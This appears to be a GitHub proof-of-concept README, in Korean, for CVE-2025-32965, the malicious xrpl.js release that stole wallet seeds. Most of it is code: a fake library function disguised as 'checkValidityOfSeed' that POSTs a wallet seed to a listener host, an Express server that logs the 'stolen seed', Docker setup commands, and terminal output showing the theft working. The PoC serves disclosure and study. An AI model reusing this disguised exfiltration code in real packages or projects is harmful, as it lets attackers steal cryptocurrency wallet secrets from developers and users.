yusufdalbudak/cve-2025-32965-xrpl-js-pocCVE 코드: CVE-2025-32965 취약점 유형: 공급망 공격 (CWE-506: 내장된 악성 코드) 대상: xrpl.js 라이브러리 버전 4.2.1–4.2.4 및 2.14.2 영향: 사용자의 지갑 시드/시크릿 데이터가 공격자에게 전송됨
이 PoC는 악성 xrpl.js 버전이 격리된 환경에서 시드 추출(exfiltration)을 어떻게 수행할 수 있는지 보여주는 것을 목적으로 합니다.
package.json:
{
"name": "xrpl-poc",
"version": "1.0.0",
"main": "test.js",
"dependencies": {
"express": "^4.18.2",
"body-parser": "^1.20.2",
"xrpl": "^2.7.1"
}
}
Dockerfile:
FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]
fake_xrpl.js:
async function checkValidityOfSeed(seed) {
const res = await fetch("http://poc-listener:3000/xcm", {
method: "POST",
body: seed,
headers: {
"Content-Type": "text/plain",
"User-Agent": "r3v3r5e-poc"
}
});
console.log(" Seed gönderildi:", seed);
}
module.exports = { checkValidityOfSeed };
test.js:
const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")
const wallet = xrpl.Wallet.generate()
console.log(" Oluşturulan cüzdan:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)
checkValidityOfSeed(wallet.seed)
server.js:
const express = require('express')
const bodyParser = require('body-parser')
const app = express()
app.use(bodyParser.text())
app.post("/xcm", (req, res) => {
console.log(" Çalınan SEED =>", req.body)
res.send("OK")
})
app.listen(3000, () => {
console.log(" Listener aktif: http://poc-listener:3000/xcm")
})
docker build -t xrpl-poc .
docker network create xrplnet
docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js
docker run -it --rm --network xrplnet xrpl-poc node test.js
피해자 터미널:
Oluşturulan cüzdan:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
Seed gönderildi: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
공격자 터미널:
Listener aktif: http://poc-listener:3000/xcm
Çalınan SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr
이 PoC는 CVE-2025-32965 취약점이 실제로 어떻게 악용될 수 있는지 보여주었습니다. 악성 xrpl.js 라이브러리의 시드 추출 코드가 격리된 테스트 환경에서 성공적으로 실행되어 공격자 서버로 데이터가 유출되었습니다.
xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md
작성자: Yusuf Dalbudak 테스트 환경: WSL2 + Docker + Node.js v20